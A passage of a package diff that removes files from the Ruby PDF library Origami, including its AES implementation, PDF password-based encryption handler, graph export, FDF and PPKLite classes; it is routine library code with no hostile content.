0x01, 0x02, 0x04, - 0x08, 0x10, 0x20, 0x40, 0x80, 0x1b, 0x36, 0x6c, 0xd8, 0xab, 0x4d, 0x9a, 0x2f, 0x5e, 0xbc, 0x63, - 0xc6, 0x97, 0x35, 0x6a, 0xd4, 0xb3, 0x7d, 0xfa, 0xef, 0xc5, 0x91, 0x39, 0x72, 0xe4, 0xd3, 0xbd, - 0x61, 0xc2, 0x9f, 0x25, 0x4a, 0x94, 0x33, 0x66, 0xcc, 0x83, 0x1d, 0x3a, 0x74, 0xe8, 0xcb - ] - - attr_writer :iv - - def AES.encrypt(key, iv, data) - AES.new(key, iv).encrypt(data) - end - - def AES.decrypt(key, data) - AES.new(key, nil).decrypt(data) - end - - def initialize(key, iv, use_padding = true) - unless key.size == 16 or key.size == 24 or key.size == 32 - raise EncryptionError, "Key must have a length of 128, 192 or 256 bits." - end - - if not iv.nil? and iv.size != BLOCKSIZE - raise EncryptionError, "Initialization vector must have a length of #{BLOCKSIZE} bytes." - end - - @key = key - @iv = iv - @use_padding = use_padding - end - - def encrypt(data) - - if @iv.nil? - raise EncryptionError, "No initialization vector has been set." - end - - if @use_padding - padlen = BLOCKSIZE - (data.size % BLOCKSIZE) - data << (padlen.chr * padlen) - end - - if Origami::OPTIONS[:use_openssl] - aes = OpenSSL::Cipher::Cipher.new("aes-#{@key.length << 3}-cbc").encrypt - aes.iv = @iv - aes.key = @key - aes.padding = 0 - - @iv + aes.update(data) + aes.final - else - cipher = [] - cipherblock = [] - nblocks = data.size / BLOCKSIZE - - first_round = true - nblocks.times do |n| - plainblock = data[n * BLOCKSIZE, BLOCKSIZE].unpack("C*") - - if first_round - BLOCKSIZE.times do |i| plainblock[i] ^= @iv[i].ord end - else - BLOCKSIZE.times do |i| plainblock[i] ^= cipherblock[i] end - end - - first_round = false - cipherblock = aesEncrypt(plainblock) - cipher.concat(cipherblock) - end - - @iv + cipher.pack("C*") - end - end - - def decrypt(data) - unless data.size % BLOCKSIZE == 0 - raise EncryptionError, - "Data must be 16-bytes padded (data size = #{data.size} bytes)" - end - - @iv = data.slice!(0, BLOCKSIZE) - - if Origami::OPTIONS[:use_openssl] - aes = OpenSSL::Cipher::Cipher.new("aes-#{@key.length << 3}-cbc").decrypt - aes.iv = @iv - aes.key = @key - aes.padding = 0 - - plain = (aes.update(data) + aes.final).unpack("C*") - else - plain = [] - plainblock = [] - prev_cipherblock = [] - nblocks = data.size / BLOCKSIZE - - first_round = true - nblocks.times do |n| - cipherblock = data[n * BLOCKSIZE, BLOCKSIZE].unpack("C*") - - plainblock = aesDecrypt(cipherblock) - - if first_round - BLOCKSIZE.times do |i| plainblock[i] ^= @iv[i].ord end - else - BLOCKSIZE.times do |i| plainblock[i] ^= prev_cipherblock[i] end - end - - first_round = false - prev_cipherblock = cipherblock - plain.concat(plainblock) - end - end - - if @use_padding - padlen = plain[-1] - unless (1..16) === padlen - raise EncryptionError, "Incorrect padding length : #{padlen}" - end - - padlen.times do - pad = plain.pop - raise EncryptionError, - "Incorrect padding byte : 0x#{pad.to_s 16}" if pad != padlen - end - end - - plain.pack("C*") - end - - private - - def rol(row, n = 1) #:nodoc - n.times do row.push row.shift end ; row - end - - def ror(row, n = 1) #:nodoc: - n.times do row.unshift row.pop end ; row - end - - def galoisMult(a, b) #:nodoc: - p = 0 - - 8.times do - p ^= a if b[0] == 1 - highBit = a[7] - a <<= 1 - a ^= 0x1b if highBit == 1 - b >>= 1 - end - - p % 256 - end - - def scheduleCore(word, iter) #:nodoc: - rol(word) - word.map! do |byte| SBOX[byte] end - word[0] ^= RCON[iter] - - word - end - - def transpose(m) #:nodoc: - [ - m[NROWS * 0, NROWS], - m[NROWS * 1, NROWS], - m[NROWS * 2, NROWS], - m[NROWS * 3, NROWS] - ].transpose.flatten - end - - # - # AES round methods. - # - - def createRoundKey(expandedKey, round = 0) #:nodoc: - transpose(expandedKey[round * BLOCKSIZE, BLOCKSIZE]) - end - - def addRoundKey(roundKey) #:nodoc: - BLOCKSIZE.times do |i| @state[i] ^= roundKey[i] end - end - - def subBytes #:nodoc: - BLOCKSIZE.times do |i| @state[i] = SBOX[ @state[i] ] end - end - - def rsubBytes #:nodoc: - BLOCKSIZE.times do |i| @state[i] = RSBOX[ @state[i] ] end - end - - def shiftRows #:nodoc: - NROWS.times do |i| - @state[i * NCOLS, NCOLS] = rol(@state[i * NCOLS, NCOLS], i) - end - end - - def rshiftRows #:nodoc: - NROWS.times do |i| - @state[i * NCOLS, NCOLS] = ror(@state[i * NCOLS, NCOLS], i) - end - end - - def mixColumnWithField(column, field) #:nodoc: - p = field - - column[0], column[1], column[2], column[3] = - galoisMult(column[0], p[0]) ^ galoisMult(column[3], p[1]) ^ galoisMult(column[2], p[2]) ^ galoisMult(column[1], p[3]), - galoisMult(column[1], p[0]) ^ galoisMult(column[0], p[1]) ^ galoisMult(column[3], p[2]) ^ galoisMult(column[2], p[3]), - galoisMult(column[2], p[0]) ^ galoisMult(column[1], p[1]) ^ galoisMult(column[0], p[2]) ^ galoisMult(column[3], p[3]), - galoisMult(column[3], p[0]) ^ galoisMult(column[2], p[1]) ^ galoisMult(column[1], p[2]) ^ galoisMult(column[0], p[3]) - end - - def mixColumn(column) #:nodoc: - mixColumnWithField(column, [ 2, 1, 1, 3 ]) - end - - def rmixColumn(column) #:nodoc: - mixColumnWithField(column, [ 14, 9, 13, 11 ]) - end - - def mixColumns #:nodoc: - NCOLS.times do |c| - column = [] - NROWS.times do |r| column << @state[c + r * NCOLS] end - mixColumn(column) - NROWS.times do |r| @state[c + r * NCOLS] = column[r] end - end - end - - def rmixColumns #:nodoc: - NCOLS.times do |c| - column = [] - NROWS.times do |r| column << @state[c + r * NCOLS] end - rmixColumn(column) - NROWS.times do |r| @state[c + r * NCOLS] = column[r] end - end - end - - def expandKey(key) #:nodoc: - - key = key.unpack("C*") - size = key.size - expandedSize = 16 * (ROUNDS[key.size] + 1) - rconIter = 1 - expandedKey = key[0, size] - - while expandedKey.size < expandedSize - temp = expandedKey[-4, 4] - - if expandedKey.size % size == 0 - scheduleCore(temp, rconIter) - rconIter = rconIter.succ - end - - temp.map! do |b| SBOX[b] end if size == 32 and expandedKey.size % size == 16 - - temp.each do |b| expandedKey << (expandedKey[-size] ^ b) end - end - - expandedKey - end - - def aesRound(roundKey) #:nodoc: - subBytes - #puts "after subBytes: #{@state.inspect}" - shiftRows - #puts "after shiftRows: #{@state.inspect}" - mixColumns - #puts "after mixColumns: #{@state.inspect}" - addRoundKey(roundKey) - #puts "roundKey = #{roundKey.inspect}" - #puts "after addRoundKey: #{@state.inspect}" - end - - def raesRound(roundKey) #:nodoc: - addRoundKey(roundKey) - rmixColumns - rshiftRows - rsubBytes - end - - def aesEncrypt(block) #:nodoc: - @state = transpose(block) - expandedKey = expandKey(@key) - rounds = ROUNDS[@key.size] - - aesMain(expandedKey, rounds) - end - - def aesDecrypt(block) #:nodoc: - @state = transpose(block) - expandedKey = expandKey(@key) - rounds = ROUNDS[@key.size] - - raesMain(expandedKey, rounds) - end - - def aesMain(expandedKey, rounds) #:nodoc: - #puts "expandedKey: #{expandedKey.inspect}" - roundKey = createRoundKey(expandedKey) - addRoundKey(roundKey) - - for i in 1..rounds-1 - roundKey = createRoundKey(expandedKey, i) - aesRound(roundKey) - end - - roundKey = createRoundKey(expandedKey, rounds) - subBytes - shiftRows - addRoundKey(roundKey) - - transpose(@state) - end - - def raesMain(expandedKey, rounds) #:nodoc: - - roundKey = createRoundKey(expandedKey, rounds) - addRoundKey(roundKey) - rshiftRows - rsubBytes - - (rounds - 1).downto(1) do |i| - roundKey = createRoundKey(expandedKey, i) - raesRound(roundKey) - end - - roundKey = createRoundKey(expandedKey) - addRoundKey(roundKey) - - transpose(@state) - end - - end - - # - # Class representing a crypt filter Dictionary - # - class CryptFilterDictionary < Dictionary - include StandardObject - - field :Type, :Type => Name, :Default => :CryptFilter - field :CFM, :Type => Name, :Default => :None - field :AuthEvent, :Type => Name, :Default => :DocOpen - field :Length, :Type => Integer - end - - # - # Common class for encryption dictionaries. - # - class EncryptionDictionary < Dictionary - include StandardObject - - field :Filter, :Type => Name, :Default => :Standard, :Required => true - field :SubFilter, :Type => Name, :Version => "1.3" - field :V, :Type => Integer, :Default => 0 - field :Length, :Type => Integer, :Default => 40, :Version => "1.4" - field :CF, :Type => Dictionary, :Version => "1.5" - field :StmF, :Type => Name, :Default => :Identity, :Version => "1.5" - field :StrF, :Type => Name, :Default => :Identity, :Version => "1.5" - field :EFF, :Type => Name, :Version => "1.6" - end - - # - # The standard security handler for PDF encryption. - # - module Standard - - PADDING = "\x28\xBF\x4E\x5E\x4E\x75\x8A\x41\x64\x00\x4E\x56\xFF\xFA\x01\x08\x2E\x2E\x00\xB6\xD0\x68\x3E\x80\x2F\x0C\xA9\xFE\x64\x53\x69\x7A" #:nodoc: - PADDING.force_encoding('binary') if RUBY_VERSION >= '1.9' - - # - # Permission constants for encrypted documents. - # - module Permissions - RESERVED = 1 << 6 | 1 << 7 | 0xFFFFF000 - PRINT = 1 << 2 | RESERVED - MODIFY_CONTENTS = 1 << 3 | RESERVED - COPY_CONTENTS = 1 << 4 | RESERVED - MODIFY_ANNOTATIONS = 1 << 5 | RESERVED - FILLIN_FORMS = 1 << 8 | RESERVED - EXTRACT_CONTENTS = 1 << 9 | RESERVED - ASSEMBLE_DOC = 1 << 10 | RESERVED - HIGH_QUALITY_PRINT = 1 << 11 | RESERVED - - ALL = PRINT | MODIFY_CONTENTS | COPY_CONTENTS | MODIFY_ANNOTATIONS | FILLIN_FORMS | EXTRACT_CONTENTS | ASSEMBLE_DOC | HIGH_QUALITY_PRINT - end - - # - # Class defining a standard encryption dictionary. - # - class Dictionary < EncryptionDictionary - - field :R, :Type => Number, :Required => true - field :O, :Type => String, :Required => true - field :U, :Type => String, :Required => true - field :OE, :Type => String, :Version => '1.7', :ExtensionLevel => 3 - field :UE, :Type => String, :Version => '1.7', :ExtensionLevel => 3 - field :Perms, :Type => String, :Version => '1.7', :ExtensionLevel => 3 - field :P, :Type => Integer, :Default => 0, :Required => true - field :EncryptMetadata, :Type => Boolean, :Default => true, :Version => "1.5" - - def pdf_version_required #:nodoc: - if self.R > 5 - [ 1.7, 8 ] - else - super - end - end - - # - # Computes the key that will be used to encrypt/decrypt the document contents with user password. - # - def compute_user_encryption_key(userpassword, fileid) - - if self.R < 5 - padded = pad_password(userpassword) - padded.force_encoding('binary') if RUBY_VERSION >= '1.9' - - padded << self.O - padded << [ self.P ].pack("i") - - padded << fileid - - encrypt_metadata = self.EncryptMetadata != false - padded << [ -1 ].pack("i") if self.R >= 4 and not encrypt_metadata - - key = Digest::MD5.digest(padded) - - 50.times { key = Digest::MD5.digest(key[0, self.Length / 8]) } if self.R >= 3 - - if self.R == 2 - key[0, 5] - elsif self.R >= 3 - key[0, self.Length / 8] - end - else - passwd = password_to_utf8(userpassword) - - uks = self.U[40, 8] - - if self.R == 5 - ukey = Digest::SHA256.digest(passwd + uks) - else - ukey = compute_hardened_hash(passwd, uks) - end - - iv = ::Array.new(AES::BLOCKSIZE, 0).pack("C*") - AES.new(ukey, nil, false).decrypt(iv + self.UE.value) - end - end - - # - # Computes the key that will be used to encrypt/decrypt the document contents with owner password. - # Revision 5 and above. - # - def compute_owner_encryption_key(ownerpassword) - if self.R >= 5 - passwd = password_to_utf8(ownerpassword) - - oks = self.O[40, 8] - - if self.R == 5 - okey = Digest::SHA256.digest(passwd + oks + self.U) - else - okey = compute_hardened_hash(passwd, oks, self.U) - end - - iv = ::Array.new(AES::BLOCKSIZE, 0).pack("C*") - AES.new(okey, nil, false).decrypt(iv + self.OE.value) - end - end - - # - # Set up document passwords. - # - def set_passwords(ownerpassword, userpassword, salt = nil) - if self.R < 5 - key = compute_owner_key(ownerpassword) - upadded = pad_password(userpassword) - - owner_key = ARC4.encrypt(key, upadded) - 19.times { |i| owner_key = ARC4.encrypt(xor(key,i+1), owner_key) } if self.R >= 3 - - self.O = owner_key - self.U = compute_user_password(userpassword, salt) - - else - upass = password_to_utf8(userpassword) - opass = password_to_utf8(ownerpassword) - - uvs, uks, ovs, oks = ::Array.new(4) { Encryption.rand_bytes(8) } - file_key = Encryption.strong_rand_bytes(32) - iv = ::Array.new(AES::BLOCKSIZE, 0).pack("C*") - - if self.R == 5 - self.U = Digest::SHA256.digest(upass + uvs) + uvs + uks - self.O = Digest::SHA256.digest(opass + ovs + self.U) + ovs + oks - ukey = Digest::SHA256.digest(upass + uks) - okey = Digest::SHA256.digest(opass + oks + self.U) - else - self.U = compute_hardened_hash(upass, uvs) + uvs + uks - self.O = compute_hardened_hash(opass, ovs, self.U) + ovs + oks - ukey = compute_hardened_hash(upass, uks) - okey = compute_hardened_hash(opass, oks, self.U) - end - - self.UE = AES.new(ukey, iv, false).encrypt(file_key)[iv.size, 32] - self.OE = AES.new(okey, iv, false).encrypt(file_key)[iv.size, 32] - - perms = - [ self.P ].pack("V") + # 0-3 - [ -1 ].pack("V") + # 4-7 - (self.EncryptMetadata == true ? "T" : "F") + # 8 - "adb" + # 9-11 - [ 0 ].pack("V") # 12-15 - - self.Perms = AES.new(file_key, iv, false).encrypt(perms)[iv.size, 16] - - file_key - end - end - - # - # Checks user password. - # For version 2,3 and 4, _salt_ is the document ID. - # For version 5 and 6, _salt_ is the User Key Salt. - # - def is_user_password?(pass, salt) - if self.R == 2 - compute_user_password(pass, salt) == self.U - elsif self.R == 3 or self.R == 4 - compute_user_password(pass, salt)[0, 16] == self.U[0, 16] - elsif self.R == 5 - uvs = self.U[32, 8] - Digest::SHA256.digest(password_to_utf8(pass) + uvs) == self.U[0, 32] - elsif self.R == 6 - uvs = self.U[32, 8] - compute_hardened_hash(password_to_utf8(pass), uvs) == self.U[0, 32] - end - end - - # - # Checks owner password. - # For version 2,3 and 4, _salt_ is the document ID. - # For version 5, _salt_ is (Owner Key Salt + U) - # - def is_owner_password?(pass, salt) - - if self.R < 5 - user_password = retrieve_user_password(pass) - is_user_password?(user_password, salt) - elsif self.R == 5 - ovs = self.O[32, 8] - Digest::SHA256.digest(password_to_utf8(pass) + ovs + self.U) == self.O[0, 32] - elsif self.R == 6 - ovs = self.O[32, 8] - compute_hardened_hash(password_to_utf8(pass), ovs, self.U[0,48]) == self.O[0, 32] - end - end - - # - # Retrieve user password from owner password. - # Cannot be used with revision 5. - # - def retrieve_user_password(ownerpassword) - key = compute_owner_key(ownerpassword) - - if self.R == 2 - ARC4.decrypt(key, self.O) - elsif self.R == 3 or self.R == 4 - user_password = ARC4.decrypt(xor(key, 19), self.O) - 19.times { |i| user_password = ARC4.decrypt(xor(key, 18-i), user_password) } - - user_password - end - end - - private - - # - # Used to encrypt/decrypt the O field. - # Rev 2,3,4: O = crypt(user_pass, owner_key). - # Rev 5: unused. - # - def compute_owner_key(ownerpassword) #:nodoc: - - opadded = pad_password(ownerpassword) - - hash = Digest::MD5.digest(opadded) - 50.times { hash = Digest::MD5.digest(hash) } if self.R >= 3 - - if self.R == 2 - hash[0, 5] - elsif self.R >= 3 - hash[0, self.Length / 8] - end - end - - # - # Compute the value of the U field. - # Cannot be used with revision 5. - # - def compute_user_password(userpassword, salt) #:nodoc: - - if self.R == 2 - key = compute_user_encryption_key(userpassword, salt) - user_key = ARC4.encrypt(key, PADDING) - elsif self.R == 3 or self.R == 4 - key = compute_user_encryption_key(userpassword, salt) - - upadded = PADDING + salt - hash = Digest::MD5.digest(upadded) - - user_key = ARC4.encrypt(key, hash) - - 19.times { |i| user_key = ARC4.encrypt(xor(key,i+1), user_key) } - - user_key.ljust(32, 0xFF.chr) - end - end - - # - # Computes hardened hash used in revision 6 (extension level 8). - # - def compute_hardened_hash(password, salt, vector = '') - block_size = 32 - input = Digest::SHA256.digest(password + salt + vector) + "\x00" * 32 - key = input[0, 16] - iv = input[16, 16] - digest, aes, h, x = nil, nil, nil, nil - - i = 0 - while i < 64 or i < x[-1].ord + 32 - j = 0 - block = input[0, block_size] - - if Origami::OPTIONS[:use_openssl] - aes = OpenSSL::Cipher::Cipher.new("aes-128-cbc").encrypt - aes.iv = iv - aes.key = key - aes.padding = 0 - else - fail "You need OpenSSL support to encrypt/decrypt documents with this method" - end - - 64.times do |j| - x = '' - x += aes.update(password) unless password.empty? - x += aes.update(block) - x += aes.update(vector) unless vector.empty? - - if j == 0 - block_size = 32 + (x.unpack("C16").inject(0) {|a,b| a+b} % 3) * 16 - digest = Digest::SHA2.new(block_size << 3) - end - - digest.update(x) - end - - h = digest.digest - key = h[0, 16] - input[0, block_size] = h[0, block_size] - iv = h[16, 16] - - i = i + 1 - end - - h[0, 32] - end - - def xor(str, byte) #:nodoc: - str.split(//).map!{|c| (c[0].ord ^ byte).chr }.join - end - - def pad_password(password) #:nodoc: - return PADDING.dup if password.empty? # Fix for Ruby 1.9 bug - password[0,32].ljust(32, PADDING) - end - - def password_to_utf8(passwd) #:nodoc: - Origami::ByteString.new(passwd).to_utf8[0, 127] - end - - end - - end - - end - -end - -__END__ -def hexprint(str) - hex = "" - str.each_byte do |b| - digit = b.to_s(16) - digit = "0" + digit if digit.size == 1 - hex << digit - end - - puts hex.upcase -end - diff -Nru origami-1.2.7/lib/origami/export.rb origami-1.2.7+really0.7.4/lib/origami/export.rb --- origami-1.2.7/lib/origami/export.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/export.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,283 +0,0 @@ -=begin - -= File - export.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume DelugrÈ - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -module Origami - - class PDF - - # - # Exports the document to a dot Graphiz file. - # _filename_:: The path where to save the file. - # - def export_to_graph(filename) - - def appearance(object) #:nodoc: - - label = object.type.to_s - case object - when Catalog - fontcolor = "red" - color = "mistyrose" - shape = "ellipse" - when Name, Number - label = object.value - fontcolor = "brown" - color = "lightgoldenrodyellow" - shape = "polygon" - when String - label = object.value unless (object.is_binary_data? or object.length > 50) - fontcolor = "red" - color = "white" - shape = "polygon" - when Array - fontcolor = "darkgreen" - color = "lightcyan" - shape = "ellipse" - else - fontcolor = "blue" - color = "aliceblue" - shape = "ellipse" - end - - { :label => label, :fontcolor => fontcolor, :color => color, :shape => shape } - end - - def add_edges(pdf, fd, object) #:nodoc: - - if object.is_a?(Array) or object.is_a?(ObjectStream) - - object.each { |subobj| - subobj = subobj.solve if subobj.is_a?(Reference) - fd << "\t#{object.object_id} -> #{subobj.object_id}\n" unless subobj.nil? - } - - elsif object.is_a?(Dictionary) - - object.each_pair { |name, subobj| - subobj = subobj.solve if subobj.is_a?(Reference) - fd << "\t#{object.object_id} -> #{subobj.object_id} [label=\"#{name.value}\",fontsize=9];\n" unless subobj.nil? - } - - end - - if object.is_a?(Stream) - - object.dictionary.each_pair { |key, value| - value = value.solve if value.is_a?(Reference) - fd << "\t#{object.object_id} -> #{value.object_id} [label=\"#{key.value}\",fontsize=9];\n" unless value.nil? - } - - end - - end - - graphname = "PDF" if graphname.nil? or graphname.empty? - fd = File.open(filename, "w") - - begin - fd << "digraph #{graphname} {\n\n" - - objects = self.objects(:include_keys => false).find_all{ |obj| not obj.is_a?(Reference) } - - objects.each { |object| - attr = appearance(object) - - fd << "\t#{object.object_id} [label=\"#{attr[:label]}\",shape=#{attr[:shape]},color=#{attr[:color]},style=filled,fontcolor=#{attr[:fontcolor]},fontsize=16];\n" - - if object.is_a?(Stream) - - object.dictionary.each { |value| - unless value.is_a?(Reference) - attr = appearance(value) - fd << "\t#{value.object_id} [label=\"#{attr[:label]}\",shape=#{attr[:shape]},color=#{attr[:color]},style=filled,fontcolor=#{attr[:fontcolor]},fontsize=16];\n" - end - } - - end - - add_edges(self, fd, object) - } - fd << "\n}" - ensure - fd.close - end - - end - - # - # Exports the document to a GraphML file. - # _filename_:: The path where to save the file. - # - def export_to_graphml(filename) - - def declare_node(id, attr) #:nodoc: - " \n" << - " \n" << - " \n" << - " #{attr[:label]}\n" << - #~ " \n" << - " \n" << - " \n" << - " \n" - end - - def declare_edge(id, src, dest, label = nil) #:nodoc: - " \n" << - " \n" << - " \n" << - " \n" << - " \n" << - " #{label.to_s}\n" << - " \n" << - " \n" << - " \n" - end - - def appearance(object) #:nodoc: - - label = object.type.to_s - case object - when Catalog - fontcolor = "red" - color = "mistyrose" - shape = "doublecircle" - when Name, Number - label = object.value - fontcolor = "orange" - color = "lightgoldenrodyellow" - shape = "polygon" - when String - label = object.value unless (object.is_binary_data? or object.length > 50) - fontcolor = "red" - color = "white" - shape = "polygon" - when Array - fontcolor = "green" - color = "lightcyan" - shape = "ellipse" - else - fontcolor = "blue" - color = "aliceblue" - shape = "ellipse" - end - - { :label => label, :fontcolor => fontcolor, :color => color, :shape => shape } - end - - def add_edges(pdf, fd, object, id) #:nodoc: - - if object.is_a?(Array) or object.is_a?(ObjectStream) - - object.each { |subobj| - - subobj = subobj.solve if subobj.is_a?(Reference) - - unless subobj.nil? - fd << declare_edge("e#{id}", "n#{object.object_id}", "n#{subobj.object_id}") - id = id + 1 - end - } - - elsif object.is_a?(Dictionary) - - object.each_pair { |name, subobj| - - subobj = subobj.solve if subobj.is_a?(Reference) - - unless subobj.nil? - fd << declare_edge("e#{id}", "n#{object.object_id}", "n#{subobj.object_id}", name.value) - id = id + 1 - end - } - - end - - if object.is_a?(Stream) - - object.dictionary.each_pair { |key, value| - - value = value.solve if value.is_a?(Reference) - - unless value.nil? - fd << declare_edge("e#{id}", "n#{object.object_id}", "n#{value.object_id}", key.value) - id = id + 1 - end - } - - end - - id - end - - @@edge_nb = 1 - - graphname = "PDF" if graphname.nil? or graphname.empty? - - fd = File.open(filename, "w") - - edge_nb = 1 - begin - - fd << '' << "\n" - fd << '' << "\n" - fd << '' << "\n" - fd << '' << "\n" - fd << "\n" - - objects = self.objects(:include_keys => false).find_all{ |obj| not obj.is_a?(Reference) } - - objects.each { |object| - - fd << declare_node("n#{object.object_id}", appearance(object)) - - if object.is_a?(Stream) - - object.dictionary.each { |value| - - unless value.is_a?(Reference) - fd << declare_node(value.object_id, appearance(value)) - end - } - end - - edge_nb = add_edges(self, fd, object, edge_nb) - } - - fd << '' << "\n" - fd << '' - - ensure - fd.close - end - - end - - end - -end diff -Nru origami-1.2.7/lib/origami/extensions/fdf.rb origami-1.2.7+really0.7.4/lib/origami/extensions/fdf.rb --- origami-1.2.7/lib/origami/extensions/fdf.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/extensions/fdf.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,257 +0,0 @@ -=begin - -= File - formats/fdf.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'origami/object' -require 'origami/name' -require 'origami/dictionary' -require 'origami/reference' -require 'origami/boolean' -require 'origami/numeric' -require 'origami/string' -require 'origami/array' -require 'origami/trailer' -require 'origami/xreftable' - -require 'origami/parsers/fdf' - -module Origami - - # - # Class representing an AcroForm Forms Data Format file. - # - class FDF - - class Header - - MAGIC = /\A%FDF-(\d)\.(\d)/ - - attr_accessor :majorversion, :minorversion - - # - # Creates a file header, with the given major and minor versions. - # _majorversion_:: Major version. - # _minorversion_:: Minor version. - # - def initialize(majorversion = 2, minorversion = 1) - @majorversion, @minorversion = majorversion, minorversion - end - - def self.parse(stream) #:nodoc: - - if not stream.scan(MAGIC).nil? - maj = stream[1].to_i - min = stream[2].to_i - else - raise InvalidHeader, "Invalid header format" - end - - FDF::Header.new(maj,min) - end - - def to_s - "%FDF-#{@majorversion}.#{@minorversion}" + EOL - end - - def to_sym #:nodoc: - "#{@majorversion}.#{@minorversion}".to_sym - end - - def to_f #:nodoc: - to_sym.to_s.to_f - end - - end - - class Revision #:nodoc; - attr_accessor :pdf - attr_accessor :body, :xreftable, :trailer - - def initialize(adbk) - @pdf = adbk - @body = {} - @xreftable = nil - @trailer = nil - end - - def trailer=(trl) - trl.pdf = @pdf - @trailer = trl - end - end - - attr_accessor :header, :revisions - - def initialize #:nodoc: - @header = FDF::Header.new - @revisions = [ Revision.new(self) ] - @revisions.first.trailer = Trailer.new - end - - def objects - def append_subobj(root, objset) - if objset.find{ |o| o.object_id == root.object_id }.nil? - objset << root - if root.is_a?(Array) or root.is_a?(Dictionary) - root.each { |subobj| append_subobj(subobj, objset) unless subobj.is_a?(Reference) } - end - end - end - - objset = [] - @revisions.first.body.values.each do |object| - unless object.is_a?(Reference) - append_subobj(object, objset) - end - end - - objset - end - - def <<(object) - - object.set_indirect(true) - - if object.no.zero? - maxno = 1 - while get_object(maxno) do maxno = maxno.succ end - - object.generation = 0 - object.no = maxno - end - - @revisions.first.body[object.reference] = object - - object.reference - end - - def Catalog - get_object(@trailer.Root) - end - - def save(filename) - - bin = "" - bin << @header.to_s - - lastno, brange = 0, 0 - - xrefs = [ XRef.new(0, XRef::LASTFREE, XRef::FREE) ] - xrefsection = XRef::Section.new - - @revisions.first.body.values.sort.each { |obj| - if (obj.no - lastno).abs > 1 - xrefsection << XRef::Subsection.new(brange, xrefs) - brange = obj.no - xrefs.clear - end - - xrefs << XRef.new(bin.size, obj.generation, XRef::USED) - lastno = obj.no - - bin << obj.to_s - } - - xrefsection << XRef::Subsection.new(brange, xrefs) - - @xreftable = xrefsection - @trailer ||= Trailer.new - @trailer.Size = rev.body.size + 1 - @trailer.startxref = bin.size - - bin << @xreftable.to_s - bin << @trailer.to_s - - fd = File.open(filename, "w").binmode - fd << bin - fd.close - - show_entries - end - alias saveas save - - private - - def rebuildxrefs #:nodoc: - - startxref = @header.to_s.size - - @revisions.first.body.values.each { |object| - startxref += object.to_s.size - } - - @xreftable = buildxrefs(@revisions.first.body) - - @trailer ||= Trailer.new - @trailer.Size = @revisions.first.body.size + 1 - @trailer.startxref = startxref - - self - end - - def buildxrefs(objects) #:nodoc: - - lastno = 0 - brange = 0 - - xrefs = [ XRef.new(0, XRef::LASTFREE, XRef::FREE) ] - - xrefsection = XRef::Section.new - objects.sort.each { |object| - if (object.no - lastno).abs > 1 - xrefsection << XRef::Subsection.new(brange, xrefs) - brange = object.no - xrefs.clear - end - - xrefs << XRef.new(get_object_offset(object.no, object.generation), object.generation, XRef::USED) - - lastno = object.no - } - - xrefsection << XRef::Subsection.new(brange, xrefs) - - xrefsection - end - - def get_object_offset(no,generation) #:nodoc: - - bodyoffset = @header.to_s.size - - objectoffset = bodyoffset - - @revisions.first.body.values.each { |object| - if object.no == no and object.generation == generation then return objectoffset - else - objectoffset += object.to_s.size - end - } - - nil - end - - end - -end - diff -Nru origami-1.2.7/lib/origami/extensions/ppklite.rb origami-1.2.7+really0.7.4/lib/origami/extensions/ppklite.rb --- origami-1.2.7/lib/origami/extensions/ppklite.rb 2013-01-28 11:59:28.000000000 +0000 +++ origami-1.2.7+really0.7.4/lib/origami/extensions/ppklite.rb 1970-01-01 00:00:00.000000000 +0000 @@ -1,491 +0,0 @@ -=begin - -= File - formats/ppklite.rb - -= Info - This file is part of Origami, PDF manipulation framework for Ruby - Copyright (C) 2010 Guillaume Delugré - All right reserved. - - Origami is free software: you can redistribute it and/or modify - it under the terms of the GNU Lesser General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - Origami is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU Lesser General Public License for more details. - - You should have received a copy of the GNU Lesser General Public License - along with Origami. If not, see . - -=end - -require 'origami/object' -require 'origami/name' -require 'origami/dictionary' -require 'origami/reference' -require 'origami/boolean' -require 'origami/numeric' -require 'origami/string' -require 'origami/array' -require 'origami/trailer' -require 'origami/xreftable' - -require 'origami/parsers/ppklite' - -require 'openssl' - -module Origami - - module Adobe - - # - # Class representing an Adobe Reader certificate store. - # - class PPKLite - - # - # Class representing a certificate store header. - # - class Header - - MAGIC = /\A%PPKLITE-(\d)\.(\d)/ - - attr_accessor :majorversion, :minorversion - - # - # Creates a file header, with the given major and minor versions. - # _majorversion_:: Major version. - # _minorversion_:: Minor version. - # - def initialize(majorversion = 2, minorversion = 1) - @majorversion, @minorversion = majorversion, minorversion - end - - def self.parse(stream) #:nodoc: - - if not stream.scan(MAGIC).nil? - maj = stream[1].to_i - min = stream[2].to_i - else - raise InvalidHeader, "Invalid header format" - end - - PPKLite::Header.new(maj,min) - end - - # - # Outputs self into PDF code. - # - def to_s - "%PPKLITE-#{@majorversion}.#{@minorversion}" + EOL - end - - def to_sym #:nodoc: - "#{@majorversion}.#{@minorversion}".to_sym - end - - def to_f #:nodoc: - to_sym.to_s.to_f - end - - end - - class Revision #:nodoc; - attr_accessor :pdf - attr_accessor :body, :xreftable, :trailer - - def initialize(adbk) - @pdf = adbk - @body = {} - 